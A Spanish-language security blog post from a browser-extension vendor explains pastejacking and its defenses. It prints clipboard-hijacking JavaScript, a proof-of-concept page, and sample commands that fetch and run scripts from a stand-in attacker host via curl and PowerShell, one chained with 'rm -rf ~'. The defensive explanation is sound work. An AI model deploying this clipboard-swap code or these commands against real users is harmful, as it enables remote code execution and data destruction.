Pastejacking, explicado: por qué lo que copiaste no es lo que pegaste

La mecánica: secuestrar el evento de copia

Pastejacking funciona porque los navegadores disparan un evento DOM llamado copy cada vez que presionas Ctrl+C o Cmd+C. Cualquier página con un único listener de eventos puede interceptar ese evento y sobrescribir lo que va a tu portapapeles. El texto visible para el usuario en la página permanece igual, pero el portapapeles se carga con algo completamente diferente.

Este es el ataque completo en seis líneas de JavaScript:

document.addEventListener('copy', function(e) {
  e.clipboardData.setData('text/plain', 'malicious-command');
  e.preventDefault();
});

La variante moderna usa la API de portapapeles asíncrona, que se ha vuelto más fácil de abusar ahora que la mayoría de los navegadores la exponen detrás de un aviso de permiso que muchos usuarios aceptan sin leer:

document.addEventListener('copy', async (e) => {
  e.preventDefault();
  await navigator.clipboard.writeText('curl https://attacker.example/install.sh | sudo bash');
});

El flujo es simple. El usuario selecciona texto en la página. El navegador se prepara para colocar ese texto en el portapapeles del sistema. Antes de hacerlo, el JavaScript de la página intercepta el evento, llama a preventDefault() para detener la copia real, y llama a setData() o writeText() para colocar su propio contenido en tu portapapeles. Cuando el usuario pega en cualquier lugar (terminal, símbolo del sistema administrador, Slack, correo) aparece el contenido del atacante en lugar del texto que pensaba haber copiado. Sin exploit, sin CVE, solo una API de navegador permitida usada exactamente como está documentada.

Por qué los usuarios de terminal son el objetivo número uno

Los desarrolladores, administradores de sistemas, ingenieros DevOps y científicos de datos copian comandos de instalación de blogs, documentación y Stack Overflow todos los días. Es parte básica del trabajo. Lees un tutorial, ves un comando, lo copias, lo pegas en un shell y lo ejecutas. Todo el proceso asume que la fuente que estás leyendo es también la fuente que estás pegando.

Ese modelo de confianza se rompe de dos maneras. La primera es cuando el dominio "confiable" en sí es comprometido. Un blog hackeado, un espejo de documentación con typosquatting, o un sitio de tutorial optimizado para SEO puede plantar un listener de copia en cualquier bloque de código. La segunda es cuando el dominio solo parece confiable. Sitios con nombres como docs-kubernetes-install.com u official-homebrew.io aparecen en resultados de búsqueda de guías de instalación, y a menudo superan en posicionamiento a la documentación real para consultas de cola larga. Cuando el usuario llega a una de esas páginas, el contenido de Pastejacking ya está configurado.

La razón por la que pegar en el terminal es tan peligroso es que el shell no tiene paso de confirmación. Presiona Enter, se ejecuta. Si el comando contiene una nueva línea, la mayoría de los terminales lo ejecutan inmediatamente sin siquiera esperar Enter. La ventana entre pegar y ejecutar es efectivamente cero.

El truco de install.sh en Linux y Mac

El objetivo clásico del Pastejacking es el patrón de instalación curl | bash. Lo has visto mil veces:

curl https://example.com/install.sh | bash

El atacante aloja una página que parece visualmente mostrar exactamente ese comando inofensivo. El bloque HTML de la página realmente dice example.com. Pero cuando seleccionas y copias el texto, el portapapeles se carga con algo como:

curl https://attacker.example/install.sh | bash; rm -rf ~ &

Dos cosas hacen esto especialmente brutal. Primero, la nueva línea al final del contenido significa que el comando se ejecuta en el instante en que llega a tu terminal. No hay oportunidad de leerlo antes de que Enter se active solo. Segundo, el atacante puede encadenar un comando de limpieza destructivo después del que parece real, de modo que incluso si notas que algo salió mal, tu directorio de inicio ya ha desaparecido.

Una página de prueba de concepto simplificada se ve así:

<pre id="cmd">curl https://example.com/install.sh | bash</pre>
<script>
  document.getElementById('cmd').addEventListener('copy', (e) => {
    e.preventDefault();
    e.clipboardData.setData(
      'text/plain',
      'curl https://attacker.example/install.sh | bash\n'
    );
  });
</script>

Nada de ese HTML es marcado como malicioso por un escáner estático. Es simplemente un listener de eventos en un elemento normal.

La variante de PowerShell: el primo mayor de ClickFix

En Windows, la misma técnica apunta a PowerShell y al cuadro de diálogo Ejecutar (Win+R). El contenido suele ser un comando de una línea que descarga un binario de segunda etapa y lo ejecuta:

powershell -w hidden -c "iwr https://attacker.example/x.ps1 | iex"

Pastejacking es el ancestro de la actual ola de ataques ClickFix. La distinción es importante. Pastejacking es a nivel de portapapeles: el usuario es engañado, el sitio intercambia el contenido, el usuario pega algo que no quería pegar. ClickFix es ingeniería social encima: se le dice al usuario, en palabras claras, "copia este comando, abre Ejecutar, pégalo, presiona Enter para arreglar tu navegador." En ClickFix el usuario sabe lo que hay en su portapapeles y lo ejecuta de todos modos. Pastejacking funciona sin el conocimiento del usuario. Las campañas modernas combinan ambos: le dicen a la víctima qué pegar, y luego lo intercambian silenciosamente por algo peor aún.

Cubrimos la capa de ingeniería social de ClickFix en detalle en el análisis del CAPTCHA falso ClickFix, que vale la pena leer junto con este artículo.

La capa de "solo ejecuta esto para arreglar el error"

Sobre la técnica pura se asienta una gruesa capa de ingeniería social. Una página aparece afirmando que tu navegador está desactualizado, que tu sistema está infectado, o que la verificación de Cloudflare falló. Dice algo como: "Copia el comando a continuación y pégalo en PowerShell para verificar que eres humano." El comando en pantalla es corto, parece inofensivo y tiene un propósito amigable.

Pastejacking amplifica el truco. Incluso el usuario cauteloso que lee el comando en pantalla y decide que parece seguro sigue pegando algo diferente. El texto en pantalla es decoración. El portapapeles es el contenido real. El usuario ahora está ejecutando un script controlado por el atacante con sus propios privilegios, y en muchas campañas eso termina con un ladrón de información cosechando cookies del navegador, semillas de billetera cripto y claves SSH.

Por qué las consolas de desarrolladores del navegador son especialmente vulnerables

El self-XSS mediante Pastejacking es toda una categoría por sí sola. El objetivo es la consola DevTools del navegador. Un atacante convence al usuario de abrir DevTools y pegar un fragmento "confiable" que supuestamente habilita una función oculta o desbloquea algo. El código pegado se ejecuta con privilegios completos de página, lo que significa que puede leer cookies de autenticación, tokens de sesión y cualquier dato que el usuario conectado pueda ver.

Por eso Facebook, Twitter, Discord y la mayoría de las grandes aplicaciones web ahora muestran una gran advertencia en rojo cuando abres la consola de desarrollo. No pueden evitar que pegues en ella, pero al menos pueden decirte que cualquiera que te diga que pegues algo ahí probablemente está intentando robar tu cuenta. Pastejacking hace que el self-XSS sea peor porque el usuario ni siquiera necesita que le digan que pegue código malicioso. Puede pensar que está pegando un comando inofensivo y terminar ejecutando el script de exfiltración completo.

Cómo ver lo que realmente copiaste antes de pegar

El mejor hábito contra el Pastejacking es romper el pipeline de copia al shell. Añade un paso de verificación.

• Pega primero en un editor de texto. Notepad, TextEdit, VS Code, cualquier editor que muestre texto sin formato. Si el contenido no coincide con lo que copiaste, encontraste un intento de Pastejacking.
• Usa un gestor de portapapeles. Herramientas como Maccy, Ditto, Paste, CopyQ o el historial de portapapeles integrado de Windows (Win+V) muestran el contenido bruto de tu portapapeles antes de comprometerte a pegarlo en cualquier lugar.
• Nunca pegues directamente de un sitio web en un shell o símbolo del sistema administrador. Siempre ve de sitio web a editor a shell, incluso cuando tengas prisa.
• Haz clic derecho e inspecciona el elemento. Un vistazo rápido al DOM a menudo revelará un listener de evento copy adjunto al bloque de código o una etiqueta de script sospechosa en la página.
• Deshabilita JavaScript en sitios de documentación que no lo necesiten. Muchos ataques mueren en el momento en que el listener de eventos no puede ejecutarse.

Cómo SafeBrowz lo bloquea

Nuestro guardián de secuestro del portapapeles vigila exactamente el patrón descrito en este artículo. Detecta páginas que llaman a setData() en un evento de copia o navigator.clipboard.writeText() sin un clic reciente iniciado por el usuario, y bloquea la escritura y muestra una advertencia. Los botones legítimos de "copiar al portapapeles" no lo activan porque se disparan dentro de un handler de clic real. Los sitios de Pastejacking lo activan de inmediato, porque todo su truco depende de la interceptación silenciosa.

El guardián de secuestro del portapapeles es una función Premium. Premium cuesta $14.99 al año y cubre 3 dispositivos con una licencia. La versión gratuita aún detecta la mayoría de las campañas de Pastejacking a nivel de dominio porque ya incluimos una lista de bloqueo de hosts de ataques de portapapeles conocidos, actualizada diariamente, en más de 420 marcas suplantadas. La extensión SafeBrowz en sí es gratuita para siempre y funciona en Chrome, Firefox y Edge.

Patrones más seguros para desarrolladores y administradores de sistemas

Incluso con una extensión instalada, la solución a largo plazo es cambiar cómo instalas software y cómo tratas los comandos que encuentras en la web.

• Prefiere espejos confiables. Las versiones de GitHub con etiquetas firmadas superan a una publicación de blog aleatoria en todo momento.
• Verifica las firmas GPG en scripts de instalación y archivos tar cuando el proyecto los incluye. La mayoría de los proyectos serios lo hacen.
• Usa gestores de paquetes. apt, dnf, brew, npm, pip, cargo y winget verifican lo que instalan. curl | bash no verifica nada.
• Fija hashes cuando debas usar curl | bash. Descarga primero el script, verifica su SHA-256 contra el valor en el README del proyecto, luego ejecútalo.
• Ejecuta scripts desconocidos en un sandbox. Un contenedor Docker desechable o una instantánea de VM te cuesta treinta segundos y te compra aislamiento completo.
• Lee cada comando una vez que esté en tu terminal. Añade una línea en blanco antes del comando pegado si tu shell lo admite, para tener la oportunidad de desplazarte hacia arriba y leer antes de que Enter se active.